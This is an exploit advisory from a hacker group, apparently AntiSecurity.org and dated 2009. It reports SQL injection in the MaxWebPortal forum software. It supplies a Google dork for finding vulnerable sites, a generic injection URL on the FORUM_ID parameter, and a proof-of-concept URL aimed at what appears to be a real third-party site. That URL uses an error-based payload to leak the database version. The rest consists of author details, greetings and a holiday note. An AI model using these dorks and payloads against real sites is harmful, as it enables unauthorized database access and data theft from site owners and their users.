[x]========================================================================================================================================[x]
 |                                                      AntiSecurity[dot]org                                                                |
[x]========================================================================================================================================[x]



[x]========================================================================================================================================[x]
 | Title        : MaxWebPortal MSSQL Vulnerabilities                        |
 | Software     : MaxWebPortal                              |
 | Vendor       : http://www.maxwebportal.com/                          |
 | Demo      : http://www.maxwebportal.com/maxwebportal.asp                      |
 | Date        : 22 September 2009 ( Indonesia )                        |
 | Author       : OoN_Boy                              |
 | Contact      : oon.boy9@gmail.com                            |
 | Web          : http://oonboy.info                            |
 | Blog         : http://oonboy.blogspot.com                          |
[x]========================================================================================================================================[x]



[x]========================================================================================================================================[x]
 | Version    : N/A                                                                                                      |                                                                                                           |                                                                                                           |
 | Description    : MaxWebPortal is a web portal and online community system which includes advanced features such as web-based       |
 |        administration, poll, private/public events calendar, user customizable color themes, classifieds, user control   |
 |        panel, online pager, link, file, article, picture managers and much more. Easy-to-use and powerful user interface |
 |        allows members to add news, content, write reviews and share information among other registered users        |
[x]========================================================================================================================================[x]



[x]========================================================================================================================================[x]
 | Google Dork     : inurl:forum.asp?FORUM_ID= "MaxWebPortal"                      |
[x]========================================================================================================================================[x]



[x]========================================================================================================================================[x]
 | Exploit     : http://localhost/[path]/forum.asp?FORUM_ID=[sql]                      |
[x]========================================================================================================================================[x]



[x]========================================================================================================================================[x]
 | Proof of concept  : http://www.boogiezone.com/forum.asp?FORUM_ID=42&CAT_ID=7+and+1=convert%28int,@@version%29--
[x]========================================================================================================================================[x]



[x]========================================================================================================================================[x]
 | Greetz    : antisecurity.org batamhacker.or.id                                                                                |
 |         Vrs-hCk NoGe Paman zxvf Angela Zhang aJe H312Y yooogy mousekill }^-^{ martfella noname s4va                       |
 |           k1tk4t str0ke kaka11 ^s0n g0ku^ Joe Chawanua Ntc xx_user s3t4n IrcMafia em|nem Pandoe Ronny rere                  |
[x]========================================================================================================================================[x]



[x]========================================================================================================================================[x]
 | Note      : Selamat hariraya idul fitri mohon maaf lahir dan batin, maafin kesalahan ku selama ini yah all :)        |
 |        kabur.... untuk sementara waktu.... bye bye.....                    |
[x]========================================================================================================================================[x]